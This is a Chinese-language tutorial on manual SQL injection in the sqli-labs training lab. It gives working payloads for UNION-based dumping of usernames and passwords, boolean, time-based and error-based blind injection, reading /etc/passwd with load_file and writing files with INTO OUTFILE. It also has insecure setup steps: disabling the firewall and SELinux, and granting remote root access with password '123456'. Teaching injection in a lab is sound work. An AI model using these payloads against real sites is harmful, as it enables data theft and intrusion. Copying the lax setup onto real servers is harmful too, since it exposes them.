SQL 手工注入
文章目錄
- SQL 手工注入
-
- 0x01 SQL注入概述
- 0x02 SQL 注入原理
-
- 1.基本概述
- 2.單引号的作用
- 3.SQL 注入流程
- 4.SQL 注入的基本分類
- 3.常見注入方式分類
- 0x03 部署 sqli-labs 學習環境
-
- 1.sqli-labs 簡介
- 2.部署sqli-labs 實驗環境
-
- 2.1 搭建LAMP 環境
- 2.2 檢查安裝的狀态和啟動服務
- 2.3 配置 mysq 資料庫 root 使用者密碼
- 2.4 安裝 sqli-labs 教學環境
- 2.5 建立快照
- 0x04 安裝 hackbar 插件
- 0x05 SQLI-LABS教學
-
- 1.Less-1
-
- 擴充
- 2.閉合方式概述
- 3.使用 order by 判斷表中字段數
- 4.在kali 系統中進行 sql 注入統計字段數量
- 5.常見手動 sql 注入的閉合方式
- 0x06 SQL 注入聯合查詢-擷取資料庫資料
-
- 1.爆出字段的顯示位置
- 2.擷取資料庫名稱
- 3.列出目前資料庫中的所有表的名稱
- 4.擷取 users 表中的字段名
- 5.擷取使用者名和密碼字段中的值
- 0x07 SQL 注入-盲注
-
- 1.盲注的原理和分類
- 2.盲注的流程
- 3.基于布爾的盲注
- 4.基于時間的盲注
- 0x08 基于報錯的 SQL 注入
-
- Less-5
- 0x09 SQL 注入讀寫檔案
-
- 1.SQL 注入讀取 /etc/passwd 檔案
- 2.SQL 注入寫入檔案
實驗環境
- kali Linux 2019.1a
- CentOS 7.6
- sqli-labs
- firefox
- hackbar

0x01 SQL注入概述
1.實驗環境
實驗環境
名稱 | 主機名 | IP位址 |
---|---|---|
kali | fengzilin54.cn | 192.168.37.139 |
測試演練 sqli-labs環境 | fengzilin53.cn | 192.168.37.159 |
0x02 SQL 注入原理
1.基本概述
使用者登入的基本SQL語句;
select * from users where username = '使用者輸入的使用者名' and password = '使用者輸入的密碼'
使用者輸入的内容是可控的,假如我們可以在使用者名中,輸入
'or 1=1 --+
select * from users where username = ''or 1=1 --+' and password = '使用者輸入的密碼'
此時我們輸入的第一個單引号将 username 的單引号閉合,相當于輸入了一個空使用者,or表示左右兩邊隻要有一邊條件判斷成立則該語句傳回結果為真,其中1=1 永遠為真,–+ 表示注釋,将後面的所有的代碼不在執行
我們可以看到上面我們閉合的方法是沒有輸入使用者名的,是以并不能成功登陸
select * from users where username ='admin' or 1=1 --+ 'and password='使用者輸入端密碼'
我們在單引号前面加上使用者名表示我們要登陸的使用者,這樣成功繞過了使用者名認證
2.單引号的作用
在送出資料或者 URL 中添加單引号進行送出如果傳回 SQL 錯誤即可判斷目前位置存在 SQL 注入漏洞。原因是沒有被過濾。
3.SQL 注入流程
- 求閉合字元
- 選擇注入模式
- 爆資料庫
- 爆表名
- 爆列名
- 爆字段名
4.SQL 注入的基本分類
1.布爾注入:可以根據傳回頁面判斷條件真假的注入;
2.聯合注入:可以使用 union 的注入;
3.延時注入:不能根據頁面傳回内容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面傳回時間是否增加)來判斷;
4.報錯注入:頁面會傳回錯誤資訊,或者把注入的語句的結果直接傳回在頁面中。
3.常見注入方式分類
數字型 1 or 1=1
字元型 1’ or ‘1’ ='1
0x03 部署 sqli-labs 學習環境
1.sqli-labs 簡介
sqli-labs 是一個學習sql注入的一個遊戲教程 ,也是一個實驗平台
下載下傳位址 https://github.com/Audi-1/sqli-labs
2.部署sqli-labs 實驗環境
實驗環境:
系統:CentOS 7.6
主機名:fengzilin53
IP位址:192.168.37.159
關閉防火牆并設定開機不啟動
[[email protected] ~]# systemctl stop firewalld.service
[[email protected] ~]# systemctl disable firewalld.service
//關閉 selinux
[r[email protected] ~]# vim /etc/selinux/config //打開配置檔案
将 SELINUX=enforcing 這一項改為 SELINUX=disabled 儲存退出
[[email protected] ~]# reboot
[[email protected] ~]# iptables -F //清空防火牆規則
2.1 搭建LAMP 環境
[[email protected] ~]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb
注:php-gd 庫:gd 庫是 php 處理圖形的擴充庫,gd 庫提供了一系列用來處理圖檔的 API,使用GD 庫可以處理圖檔,或者生成圖檔。 在網站上 GD 庫通常用來生成縮略圖或者用來對圖檔加水印或者對網站資料生成報表及驗證碼。
2.2 檢查安裝的狀态和啟動服務
//啟動對應服務
[[email protected] ~]# systemctl start httpd
[[email protected] ~]# systemctl start mariadb
//開機啟動:
[[email protected] ~]# systemctl enable httpd
[[email protected] ~]# systemctl enable mariadb
//測試 LAMP 環境:
[[email protected] ~]# vim /var/www/html/test.php
<?php
phpinfo();
?>
通路 http://192.168.37.159/test.php
2.3 配置 mysq 資料庫 root 使用者密碼
[[email protected] ~]# mysqladmin -u root password "123456"
[[email protected] ~]# mysql -u root -p123456
MariaDB [(none)]>exit
2.4 安裝 sqli-labs 教學環境
使用rz 指令上傳到 sqli-labs 到centos 系統上
[[email protected] ~]# rz
上傳完成後 将sqli-labs 解壓
[[email protected] ~]# unzip sqli-labs-master.zip -d /var/www/html/
[[email protected] html]# mv sqli-labs-master/ /var/www/html/sqli-labs
//修改 sqli-labs 預設運作使用者為apache
[[email protected] html]# chown -R apache:apache /var/www/html/sqli-labs/
//修改配置檔案權限
[[email protected] html]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
修改
$dbpass = '123456' //資料庫密碼
測試網頁通路 http://192.168.37.159/sqli-labs/
點選 setup/reset Database for labs
2.5 建立快照
0x04 安裝 hackbar 插件
hackerbar 插件概述:它是一個簡單的安全審計,滲透測試工具。此插件将幫助您測試 SQL 注入, XSS 漏洞等安全事項。利用它,可以快速建構一個 http 請求,進行滲透測試
上傳 hackbar 插件包到 Kali 系統上
[email protected]:~# unzip hackbar2.1.3-master.zip
注:hackbar插件下載下傳位址https://github.com/HCTYMFF/hackbar2.1.3[email protected]:~# git clone https://github.com/HCTYMFF/hackbar2.1.3.git
kali 打開 Firefox 浏覽器插件
安裝成功
0x05 SQLI-LABS教學
通路 http://192.168.37.159/sqli-labs/index.html
1.Less-1
頁面的意思
Welcome Dhakkan //歡迎達坎
Please input the ID as parameter with numeric value // 請輸入ID作為帶數值的參數
在hackbar中輸入 http://192.168.37.159/sqli-labs/Less-1/?id=1
參數說明:
? 表示傳遞參數,通常都是在頁面後會有 ?id=數值,這樣的方式傳遞參數給伺服器,然後給我們傳回參數對應的頁面資訊,我們發現我們是在/後面直接使用 ? 傳遞參數,此時參數會傳遞給預設頁面。
實際上在 URL 中傳遞參數時,相當于在fengzilin53中執行了以下 SQL 語句;
MariaDB [security]> select * from users where id='1';
我們嘗試添加一個單引号看一下錯誤資訊
http://192.168.37.159/sqli-labs/Less-1/?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
//您的SQL文法有錯誤;請檢查與您的MariaDB伺服器版本相對應的手冊,以便在第1行的“1”限制0,1附近使用正确的文法
我們分析一下 報錯的 SQL 語句位置
''1'' LIMIT 0,1'
把外面的單引号去掉,那是用來說明報錯的SQL語句的位置的
'1'' LIMIT 0,1
我們看到我們輸入的 id=1 此時 id 參數已經成功閉合,但是多了一個單引号導緻後面的語句執行失敗,由此我們可以确認目前位置存在 SQL 注入。原因是我們輸入的單引号沒有被過濾,成功帶入資料庫中執行。
擴充
limit 文法
limit [位置偏移量],顯示長度
位置偏移量可以了解為跳過前 N 條記錄,或從第 N 條記錄開始,往後顯示 N 條記錄。
例1:取出從第0個位置開始,取3條記錄;
MariaDB [security]> select * from users limit 0,3;
例2:顯示第7條記錄
MariaDB [security]> select * from users limit 6,1;
2.閉合方式概述
閉合方式是指開發人員在 SQL 語句中的加在參數變量兩邊的符号;
在fengzilin53 檢視
這個SQL語句中的
$id
采用的閉合方式就是單引号。
3.使用 order by 判斷表中字段數
ORDER BY 關鍵詞用于對記錄集中的資料進行排序
用法1:按某個字段進行排序;
文法:select 字段1,字段2 from 表名 order by 字段名;
例1:order by 用于 MySQL 查詢排序(升序)
MariaDB [security]> select * from users order by id;
例2:order by 後面跟上字段名時,是用于排序,預設是升序,如果字段名後跟上 desc 則是降序
如:
MariaDB [security]> select * from users order by id desc;
用法2:按第幾個字段進行排序,如果超過查詢的字段數,就報錯
文法:select 字段1,字段2 from 表名 order by 數字;
例1:按照第 2 個字段 username 進行排序
MariaDB [security]> select * from users order by 2 ;
例2:使用 order by 統計查詢的字段數量;
MariaDB [security]> select * from users order by 6;
ERROR 1054 (42S22): Unknown column '6' in 'order clause' -- 錯誤1054(42S22):“order子句”中的未知列“6”
在實際中可以使用 數字嘗試 查字段
在測試:
MariaDB [security]> select username,password from users order by 3; -- 因為order by 比對規則是按照select的字段數量,來劃分的,第一個開始然後最有一個結束
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
MariaDB [security]> select username,password from users order by 2; -- 此時這個輸入2就能查詢到 password的字段的排序
4.在kali 系統中進行 sql 注入統計字段數量
1.1 打開火狐浏覽器,通路:http://192.168.37.159/sqli-labs/Less-1/
2.1 按F12 打開hackbar插件
在 hackbar 指令框中,輸入 http://192.168.37.159/sqli-labs/Less-1/?id=1’order by 4 --+
參數解釋
?id=1 -- 正常傳遞參數
' -- 單引号閉合id 字段'
order by 4 -- 判斷是否存在4個字段
--+ -- 注釋掉後面的SQL語句
檢視 web 代碼中的 SQL 語句
[[email protected] sqli-labs]# vim /var/www/html/sqli-labs/Less-1/index.php
29 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
1)、原始SQL語句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2)、送出的URL
http://192.168.37.159/sqli-labs/Less-1/?id=1’ order by 4 --+
3)、web 伺服器收到id的值後組成的SQL語句是
$sql="SELECT * FROM users WHERE id='id=1' order by 4 --+' LIMIT 0,1";
4)、最後在MySQL上真正運作的SQL語句是:
SELECT * FROM users WHERE id='id=1' order by 4;
執行結果
Unknown column '4' in 'order clause'
-- 找不到第四個字段
修改字段數為3
http://192.168.37.159/sqli-labs/Less-1/?id=1'order by 3 --+
正常傳回結果,我們可以得出結存存在3個字段
5.常見手動 sql 注入的閉合方式
or 1=1
'or 1=1
"or 1=1
)or 1=1
')or 1=1
") or 1=1
"))or 1=1
具體使用哪種方式取決于 SQL語句使用了什麼方式,我們可以在注入點輸入 反斜杠 \ 來判斷頁面使用的哪種閉合方式
\ 表示轉義,直接輸入 \ 會将字段的閉合方式暴露出來,因為被轉義不生效,導緻SQL 語句報錯,并爆出閉合方式
彈出: ‘1’ LIMIT 0,1 這個錯。發現\轉義後有一個單引号,說明此 sql 語句基于單引号閉合。
0x06 SQL 注入聯合查詢-擷取資料庫資料
将多個select語句結果集縱向聯合起來
文法:
select 語句 union [選項] select 語句 union [選項] select 語句
1.爆出字段的顯示位置
登入靶機 sqli-labs 靶機中的 MySQL
[[email protected] ~]# mysql -uroot -p123456
MariaDB [(none)]> use security
1.1 将users 表中 id=1 和 users 表中 id=3 兩個記錄合并到一個表中
MariaDB [security]> select * from users where id=1 union select * from users where id=3;
1.2 在 MySQL 中使用 union 爆出字段
使用單條語句查詢
MariaDB [security]> select * from users where id=1;
使用兩條語句結合查詢
MariaDB [security]> select * from users where id=1 union select 1,2,3;
由此可以看到兩條語句結合輸出的結果,而 union select 1,2,3 表示,在上一條語句的查詢結果中,再輸出 1 2 3 到對應的字段中,是以可以利用來做爆出字段的顯示位置
接下來使用sqli 注入方式進行爆出字段的顯示位置
打開浏覽器通路,http://192.168.37.135/sqli-labs/
進入less1
按F12 打開hackbar 輸入以下内容
http://192.168.37.135/sqli-labs/Less-1/?id=-1'union select 1,2,3 --+
這裡修改了 1一個重要的參數,就是 id=-1 這個值在資料庫中是不存在的,原因是程式隻傳回一個結果,是以我們需要使 union 前面的語句出錯才可以讓我們後面查詢的結果傳回。
注入的語句為:
MariaDB [security]> select * from users where id='-1' union select 1,2,3;
2.擷取資料庫名稱
擷取資料庫函數:
database()
主要查詢目前資料庫名稱
使用方法:
MariaDB [security]> select database();
打開浏覽器 在hackbar中輸入
http://192.168.37.135/sqli-labs/Less-1/?id=-1 ' union select 1,2,database() --+
分析:
1,2,database()
database() 替換了字段3,作用是查詢目前資料庫名稱,其中1,2是為了補充 第一個和第二個字段的顯示結果
注入後的語句:
MariaDB [security]> select * from users where id='-1' union select 1,2,database();
資料庫名稱是 security
擴充:常用函數
version() -- MySQL版本
user() -- 資料庫使用者名
database() -- 資料庫名稱
@@datadir -- 資料庫路徑
@@version_compile_os -- 作業系統版本
3.列出目前資料庫中的所有表的名稱
5.0以下和5.0以上的差別
- 5.0以下沒有 information_schema 這個資料表,隻能爆破表
- 5.0以下多使用者單操作,5.0以上多使用者多操作
檢視 information_schema 庫中 tables 表名 table_schema 等于 security 的相關資訊
3.1 使用Navicat 連接配接資料庫
注:此處隻是為了,友善檢視information_schema 表中的資料結構
iptables -F -- 清空防火牆規則
MariaDB [(none)]> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; -- 授權登入
該資料庫中表資料結構
檢視 TABLES 表中的 字段發現有資料庫中的表名
3.2 SQL語句檢視information_schema 表
MariaDB [security]> select table_schema,table_name from information_schema.tables where table_schema='security';
注:information_schema 庫中的 tables 表的字段解釋;
table_schema -- 該字段存儲資料庫名
table_name -- 該字段存儲對應資料中的包括的表名
3.3 使用 group_concat()函數進行SQL注入
group_concat() 函數功能:将where 條件比對到的多條記錄連接配接成一個字元串
文法:
group_concat(str1,str2,…………)
說明:傳回結果為連接配接參數産生的字元串,如果有任何一個參數為 null ,則傳回值為null
3.4 使用該函數
使用
group_concat(table_name)
将
table_schema='security'
比對到的
table_name
字段值,連接配接成一個字元串
MariaDB [security]> select group_concat(table_name) from information_schema.tables where table_schema="security";
使用SQL注入方式進行注入
通路 http://192.168.37.136/sqli-labs/Less-1/
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查詢到了 4個表名稱分别是:
emails,referers,uagents,users
分析注入流程:
1)原始SQL語句
select * from users where id='$id' limit 0,1;
2)目前SQL語句
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+' limit 0,1
3)在資料庫中執行的 SQL 語句
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();
注:需要再SQL語句後面添加一個
;
英文分号,否則執行失敗
4.擷取 users 表中的字段名
4.1 檢視users 表擁有的字段名字
MariaDB [security]> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';
4.2 使用 group_concat() 将users 表中的字段合成一個字元串
執行 sql 語句 :tables_schema
MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
4.3 通過 group_concat(column_name) 進行SQL注入
通過sql 注入查詢:
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
成功擷取三個字段:id ,username ,password
分析sql 注入流程
1)原始SQL語句
select * from users where id='$id' limit 0,1;
2)目前SQL語句
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+' limit 0,1
3)在資料庫中執行的 SQL 語句
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users';
5.擷取使用者名和密碼字段中的值
5.1 檢視 users 表中的使用者名和密碼
MariaDB [security]> select username,password from users;
5.2 使用 group_concat(username,password) 将使用者名和密碼連接配接成字元串
MariaDB [security]> select group_concat(username,password) from users;
發現使用者名和密碼連接配接在一塊分不清楚
5.3 使用冒号将使用者名和密碼分開
MariaDB [security]> select group_concat(username,0x3a,0x3a,password) from users;
已經分隔開了。
5.4 通過 sql 注入獲得使用者名和密碼
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(username,0x3a,0x3a,password),3 from users --+
分析SQL 注入過程:
1)原始SQL語句
select * from users where id='$id' limit 0,1;
2)目前SQL語句
select * from users where id='-1' union select 1,group_concat(username,0x3a,0x3a,password),3 from users --+' limit 0,1
3)在資料庫中執行的sql語句
select * from users where id='-1' union select 1,group_concat(username,0x3a,0x3a,password),3 from users;
5.5 在SQL注入時加入換行符
我們可以在每一個使用者名:密碼後面添加一個換行符;
HTML 中換行符
<hr/>
來表示,但是我們需要轉換成 十六進制
0x3C,0x68,0x72,0x2F,0x3E
ASCII 碼表 https://tool.ip138.com/ascii_code/
将十六進制的換行符添加到 password 字段後并在後面添加一個逗号
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(username,0x3a,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
每一行都是一個賬号和密碼
0x07 SQL 注入-盲注
1.盲注的原理和分類
Blind SQL(盲注)其實是SQL注入的一種,他不需要根據你注入的攻擊語句來傳回你想要知道的錯誤資訊,而通常代碼中如果屏蔽了報錯資訊我們就需要使用盲注。
盲注分為兩類:
- 布爾盲注 他隻會根據傳回的 True 和 False,根據結果判斷是否和自己輸入的值一緻進而猜解出完整的資料。
- 時間盲注 界面傳回值隻有一種 True,無論輸入任何值傳回情況都會按照正常的來處理,加入特定的時間函數,通過檢視web頁面傳回的時間差來判斷注入的語句是否正确。
總結:盲注就是構造一個判斷條件來逐漸的猜解完整的資料資訊。
邏輯關系說明(以1為真,0為假進行對比說明):
- 邏輯與:and #兩者條件都為真,結果則為真
- 邏輯或:or #其中一者條件為真,結果則為真
2.盲注的流程
1)判斷是否存在注入點
2)猜解目前資料庫的名稱,注:需要先猜解名稱的長度
3)猜解目前資料表的名稱,注:需要先猜解名稱的長度
4)猜解目前資料字段的名稱,注:需要先猜解名稱的數量
5)猜解資料,注:需要先猜解資料的記錄數,在對每個字段的長度和資料進行猜解
從流程中不難看出盲注的核心意義在于 “猜” 那猜解一個範圍中的資料最有效的方法是什麼?
二分法:我們先取值一個範圍 1-100,當我們知道正确的答案就在1-100 其中一個時我們選擇 2分法進行快速找到目标數值,我們第一次取值50 判斷目标大于 50 還是小于50,大于50 則再從 50-100 中取中間值在進行判斷,以此類推
3.基于布爾的盲注
length 函數的使用方法:用于在MySQL中計算字段的長度,一個漢字是算3個字元,一個數字或字元算1個字元
例
MariaDB [security]> select username,password from users where id=1 and (length(database())=8);
由以上的傳回結果可以看到可以正常執行。
下面進行SQL注入
Less-8 到 Less 10 都是get 方式的盲注,隻是閉合的方式不太一樣。
http://192.168.37.136/sqli-labs/Less-8/?id=1' and (length(database())=8) --+
我們通過構造一個判斷條件(length(database())=8) 判斷目标是否滿足條件,滿足條件則執行成功,不滿足則執行失敗。
database()是目前資料庫名稱
length(database())取出資料庫名稱的長度
< = > 分别為大于、等于、小于,用來判斷是否滿足條件。用來猜解。
我們已經知道資料庫名稱是 security 是以設定條件<=8 都可以正常登入。
猜解 8 個字元的具體數值
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and(ascii(substr(database(),1,1))>8) --+
substr(database()1,1) 表示取出資料庫名稱的第一個字元,第一個1表示從第幾個字元開始,第二個1表示去幾個字元,我們猜解出一個值後就要把第一個值 +1 用來猜解第二個值,
如:
MariaDB [security]> select substr(database(),1,1);
MariaDB [security]> select substr(database(),2,1);
ascii(substr(database(),1,1))>8
将取出的字元轉碼為 ASCII碼,後面的 >8 也是用來判斷 ASCII數值的,是以最終取出的結果應該對照 ASCII 表來查找具體是哪個字元
ASCII :http://ascii.911cha.com/
取值範圍思路:先使用 <> 大于号小于号确定範圍,然後一直縮小範圍,當範圍縮小到個位數就可以用=号來判斷具體的數值。
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and(ascii(substr(database(),1,1))=115) --+
最終數值 115 對照ASCII 表
二進制 | 十進制 | 十六進制 | 字元 | 解釋 |
---|---|---|---|---|
0111 0011 | 115 | 0x73 | s | 小寫字母s |
一共有8位 是以要猜8次
結論最終 =(等号)測出來的資料對照 ASCII 表即可得出準确的資料
4.基于時間的盲注
4.1 符合判斷條件
在 MySQL中測試一下
MariaDB [security]> select * from users where id=1 and if(ascii(substr(database(),1,1))=115,1,sleep(3));
sleep(3),表示程序休眠 3秒,時間可以任意修改,
在到頁面中進行SQL 注入:
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and if(ascii(substr(database(),1,1))=115,1,sleep(3)) --+
響應時間不到1 秒
語句邏輯分析,當 if()中的條件滿足時,則直接傳回,如果不滿足時,則走sleep,頁面的響應時間根據所指時長傳回,進而可以判斷注入是否執行成功,
4.2 不符合判斷條件
在 MySQL 中執行條件不成功的語句:
MariaDB [security]> select * from users where id=1 and if(ascii(substr(database(),1,1))=116,1,sleep(3));
因為條件不成立,是以執行 sleep 是以休眠了 3秒菜傳回結果
到頁面中進行SQL 注入:
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and if(ascii(substr(database(),1,1))=116,1,sleep(3)) --+
響應時間超過 3秒
if語句分析:
以 and if(ascii(substr(database(),1,1))=115,1,sleep(3)) 語句分為三段
ascii(substr(database(),1,1))=115 //指定的條件
,1 //表示 if 條件成立後,則執行的内容,這裡的執行的内容和語句中的 and 或 or 有很大的關系
sleep(3) //表示 if 條件不成立時執行的内容,sleep() 表示休眠,(3) 休眠時間,秒為機關
實際上就是布爾型的一種,布爾型有多種寫法:
and 1=1 簡寫 and 1
and 1=2 簡寫 and 0
注意:簡寫時,隻有and 0 為假
MariaDB [security]> select * from users where id=1 and 0;
MariaDB [security]> select * from users where id=1 and 999999;
0x08 基于報錯的 SQL 注入
Less-5
Floor 報錯分析,該案例需要逐漸分析才能充分了解
http://192.168.37.136/sqli-labs/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) fengzilin --+
我們可以看到我們利用 SQL 報錯資訊輸出了我們想要的值,而這個過程時比較複雜的,我們簡化一下SQL 語句來友善我們了解
select count(*),(floor(rand(0)*2))x from table group by x;
建構錯誤的函數說明:
rand()随機函數,傳回 0~1 之間的某個值
floor(a)取整函數,傳回小于等于 a,且值最接近 a 的一個整數
count()聚合函數也稱作計數函數,傳回查詢對象的總數
group by clause 分組語句,按照查詢結果分組
floor(rand(0)*2)固定傳回數值 011011…函數本身并沒有錯誤。
SQL 語句實際示範
MariaDB [security]> select floor(rand(0)*2) from users;
接下裡使用 count+group by 時候村則問題了我們知道 count 用來計數,group by 用來分組,此時分組的過程中會建立一張虛拟表,如果分組時如果值不存在則插入 key,count 計數器+1,如果值存在 count 計數器直接+1
第一次查詢:
floor(rand(0)*2)=011011…
查詢第一條資料肯定是不存在的,是以直接插入臨時表,key=0,count=1(此時
floor(rand(0)*2)
第一次計算)當插入臨時表時
floor(rand(0)*2)
會被重新計算是以查詢第一條資料最終的結果是 key=1,count=1(此時 floor(rand(0)*2)第二次計算)流程如下
第二次查詢:
floor(rand(0)*2)=011011…
此時我們是第三次計算,是以 key=1 已經存在,是以 count+1=2。
第三次查詢:
floor(rand(0)*2)=011011…
第四次計算 key=0,表中不存在 0 的主鍵,是以插入資料,插入資料時 floor(rand(0)*2)重新計算則插入的 key=1,則發生主鍵沖突。
實際證明當查詢到的資料大于等于 3 必定報錯。
另一個問題來了,報錯和我們 SQL 注入有什麼關系呢?
group by 主鍵沖突報錯時會在報錯資訊中傳回 key 和查詢内容。
select count(*),(floor(rand(0)*2))x from table group by x;
select count(*),(floor(rand(0)*2))x 将查詢的結果傳遞給 x 然後使用 group by x 進行分組。最終報錯輸出查詢結果。
拓展:報錯的核心因素
floor(rand(0)*2)
其中 rand(0)決定了主鍵是否會沖突,如果值為空則随機産生報錯(不可控),如果值為 0 則資料>=3 必然報錯,
floor(rand(1)*2)=0100011
則不會産生報錯因為我們可以看到前 2 次查詢中臨時表已經存在 0 和 1 的主鍵,是以我們無論查詢多少條資料都不會造成主鍵沖突
http://192.168.37.136/sqli-labs/Less-5/?id=0'union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)fengzilin --+
x=我們标記紅查詢的資料,如果把查詢資料精簡一下和我們簡化的SQL語句基本一緻
資料庫中執行檢視結果
select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)fengzilin;
語句最後的fengzilin表示給臨時表取個名字可以直接寫名字也可以使用 as fengzilin
0x09 SQL 注入讀寫檔案
1.SQL 注入讀取 /etc/passwd 檔案
在MySQL 中讀取檔案,使用 load_file(“檔案路徑/名稱”)
MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G;
通路到 Less-1 頁面 :http://192.168.37.136/sqli-labs/Less-1/
http://192.168.37.136/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 --+
使用 union 聯合查詢,在可輸出位置執行 load_file 函數來讀取檔案
2.SQL 注入寫入檔案
into outfile 語句用于吧表資料導出到一個文本檔案中
用法:
select * from Table into outfile '/路徑/檔案名'
例
MariaDB [security]> select * from users into outfile "/var/lib/mysql/fengzilin.txt";
打開另一終端檢視導入的檔案:
可以看到把以上查詢 users 表中的内容儲存到檔案中,由此我們可以利用此方法通過 SQL 注入向系統寫入檔案
通路 Less-7 頁面http://192.168.37.136/sqli-labs/Less-7/
http://192.168.37.136/sqli-labs/Less-7/?id=-1')) union select 1,2'fengzilin' into outfile "/var/lib/mysql/fengzilin.php" --+
提示SQL文法錯誤不過 SQL 語句我們已經執行成功了,
到靶機上檢視檔案内容:
[r[email protected] ~]# cat /var/lib/mysql/xuegod.php
1 2 fengzilin
使用 select 1,2 fengzilin into outfile 以逗号分隔字段的方式将資料導入到一個檔案中,實際利用select 查詢到的内容為 1,2 fengzilin 在寫入到系統檔案